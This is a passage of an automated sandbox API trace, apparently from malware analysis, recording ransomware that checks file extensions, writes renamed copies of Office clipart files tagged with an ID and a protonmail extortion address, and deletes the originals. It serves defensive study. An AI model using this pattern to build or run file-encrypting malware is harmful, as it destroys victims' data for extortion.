	[0092.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.305] lstrlenW (lpString=".xlsx") returned 5
	[0092.305] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.305] lstrlenW (lpString=".ppt") returned 4
	[0092.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0092.305] lstrlenW (lpString=".zip") returned 4
	[0092.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.305] lstrlenW (lpString=".rar") returned 4
	[0092.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.305] lstrlenW (lpString=".bz2") returned 4
	[0092.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.305] lstrlenW (lpString=".7z") returned 3
	[0092.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0092.305] lstrlenW (lpString=".dbf") returned 4
	[0092.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0092.305] lstrlenW (lpString=".1cd") returned 4
	[0092.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0092.305] lstrlenW (lpString=".jpg") returned 4
	[0092.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0092.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0092.306] lstrlenW (lpString=".doc") returned 4
	[0092.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.306] lstrlenW (lpString=".docx") returned 5
	[0092.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.306] lstrlenW (lpString=".pdf") returned 4
	[0092.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.306] lstrlenW (lpString=".xls") returned 4
	[0092.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.306] lstrlenW (lpString=".xlsx") returned 5
	[0092.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.306] lstrlenW (lpString=".ppt") returned 4
	[0092.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0092.306] lstrlenW (lpString=".zip") returned 4
	[0092.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.306] lstrlenW (lpString=".rar") returned 4
	[0092.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.306] lstrlenW (lpString=".bz2") returned 4
	[0092.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.306] lstrlenW (lpString=".7z") returned 3
	[0092.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0092.306] lstrlenW (lpString=".dbf") returned 4
	[0092.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0092.306] lstrlenW (lpString=".1cd") returned 4
	[0092.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0092.306] lstrlenW (lpString=".jpg") returned 4
	[0092.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.306] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.307] lstrlenW (lpString="FD00076_.WMF") returned 12
	[0092.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.307] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11994) returned 1
	[0092.307] CloseHandle (hObject=0x378) returned 1
	[0092.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220
	[0092.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.307] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.307] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0092.308] GetLastError () returned 0x0
	[0092.308] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x2eda, lpOverlapped=0x0) returned 1
	[0092.309] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2ee0, lpOverlapped=0x0) returned 1
	[0092.310] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.310] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.310] SetEndOfFile (hFile=0x338) returned 1
	[0092.310] CloseHandle (hObject=0x338) returned 1
	[0092.311] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.311] SetEndOfFile (hFile=0x378) returned 1
	[0092.311] CloseHandle (hObject=0x378) returned 1
	[0092.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1
	[0092.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0092.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0092.312] lstrlenW (lpString=".doc") returned 4
	[0092.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.312] lstrlenW (lpString=".docx") returned 5
	[0092.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.312] lstrlenW (lpString=".pdf") returned 4
	[0092.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.312] lstrlenW (lpString=".xls") returned 4
	[0092.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.312] lstrlenW (lpString=".xlsx") returned 5
	[0092.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.312] lstrlenW (lpString=".ppt") returned 4
	[0092.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0092.312] lstrlenW (lpString=".zip") returned 4
	[0092.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.313] lstrlenW (lpString=".rar") returned 4
	[0092.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.313] lstrlenW (lpString=".bz2") returned 4
	[0092.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.313] lstrlenW (lpString=".7z") returned 3
	[0092.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0092.313] lstrlenW (lpString=".dbf") returned 4
	[0092.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0092.313] lstrlenW (lpString=".1cd") returned 4
	[0092.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0092.313] lstrlenW (lpString=".jpg") returned 4
	[0092.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0092.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0092.313] lstrlenW (lpString=".doc") returned 4
	[0092.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.313] lstrlenW (lpString=".docx") returned 5
	[0092.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.313] lstrlenW (lpString=".pdf") returned 4
	[0092.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.313] lstrlenW (lpString=".xls") returned 4
	[0092.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.313] lstrlenW (lpString=".xlsx") returned 5
	[0092.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.313] lstrlenW (lpString=".ppt") returned 4
	[0092.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0092.313] lstrlenW (lpString=".zip") returned 4
	[0092.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.313] lstrlenW (lpString=".rar") returned 4
	[0092.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.313] lstrlenW (lpString=".bz2") returned 4
	[0092.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.314] lstrlenW (lpString=".7z") returned 3
	[0092.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0092.314] lstrlenW (lpString=".dbf") returned 4
	[0092.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0092.314] lstrlenW (lpString=".1cd") returned 4
	[0092.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0092.314] lstrlenW (lpString=".jpg") returned 4
	[0092.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.314] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.314] lstrlenW (lpString="FD00077_.WMF") returned 12
	[0092.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.314] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=30240) returned 1
	[0092.314] CloseHandle (hObject=0x378) returned 1
	[0092.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220
	[0092.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.315] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.315] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0092.315] GetLastError () returned 0x0
	[0092.315] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x7620, lpOverlapped=0x0) returned 1
	[0092.317] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x7630, lpOverlapped=0x0) returned 1
	[0092.319] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.319] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.319] SetEndOfFile (hFile=0x338) returned 1
	[0092.319] CloseHandle (hObject=0x338) returned 1
	[0092.319] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.319] SetEndOfFile (hFile=0x378) returned 1
	[0092.320] CloseHandle (hObject=0x378) returned 1
	[0092.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1
	[0092.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0092.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0092.321] lstrlenW (lpString=".doc") returned 4
	[0092.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.321] lstrlenW (lpString=".docx") returned 5
	[0092.321] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.321] lstrlenW (lpString=".pdf") returned 4
	[0092.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.321] lstrlenW (lpString=".xls") returned 4
	[0092.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.321] lstrlenW (lpString=".xlsx") returned 5
	[0092.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.321] lstrlenW (lpString=".ppt") returned 4
	[0092.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0092.321] lstrlenW (lpString=".zip") returned 4
	[0092.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.321] lstrlenW (lpString=".rar") returned 4
	[0092.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.321] lstrlenW (lpString=".bz2") returned 4
	[0092.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.321] lstrlenW (lpString=".7z") returned 3
	[0092.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0092.321] lstrlenW (lpString=".dbf") returned 4
	[0092.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0092.321] lstrlenW (lpString=".1cd") returned 4
	[0092.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0092.321] lstrlenW (lpString=".jpg") returned 4
	[0092.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0092.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0092.322] lstrlenW (lpString=".doc") returned 4
	[0092.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.322] lstrlenW (lpString=".docx") returned 5
	[0092.322] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.322] lstrlenW (lpString=".pdf") returned 4
	[0092.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.322] lstrlenW (lpString=".xls") returned 4
	[0092.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.322] lstrlenW (lpString=".xlsx") returned 5
	[0092.322] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.322] lstrlenW (lpString=".ppt") returned 4
	[0092.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0092.322] lstrlenW (lpString=".zip") returned 4
	[0092.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.322] lstrlenW (lpString=".rar") returned 4
	[0092.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.322] lstrlenW (lpString=".bz2") returned 4
	[0092.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.322] lstrlenW (lpString=".7z") returned 3
	[0092.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0092.322] lstrlenW (lpString=".dbf") returned 4
	[0092.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0092.322] lstrlenW (lpString=".1cd") returned 4
	[0092.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0092.322] lstrlenW (lpString=".jpg") returned 4
	[0092.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.322] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.323] lstrlenW (lpString="FD00086_.WMF") returned 12
	[0092.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.323] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=29212) returned 1
	[0092.323] CloseHandle (hObject=0x378) returned 1
	[0092.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220
	[0092.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0092.323] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.323] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0092.324] GetLastError () returned 0x0
	[0092.324] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x721c, lpOverlapped=0x0) returned 1
	[0092.600] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x7220, lpOverlapped=0x0) returned 1
	[0092.602] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.602] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.602] SetEndOfFile (hFile=0x338) returned 1
	[0092.785] CloseHandle (hObject=0x338) returned 1
	[0092.785] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.785] SetEndOfFile (hFile=0x378) returned 1
	[0092.793] CloseHandle (hObject=0x378) returned 1
	[0092.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1
	[0092.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0092.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68
	[0092.793] lstrlenW (lpString=".doc") returned 4
	[0092.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.794] lstrlenW (lpString=".docx") returned 5
	[0092.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.794] lstrlenW (lpString=".pdf") returned 4
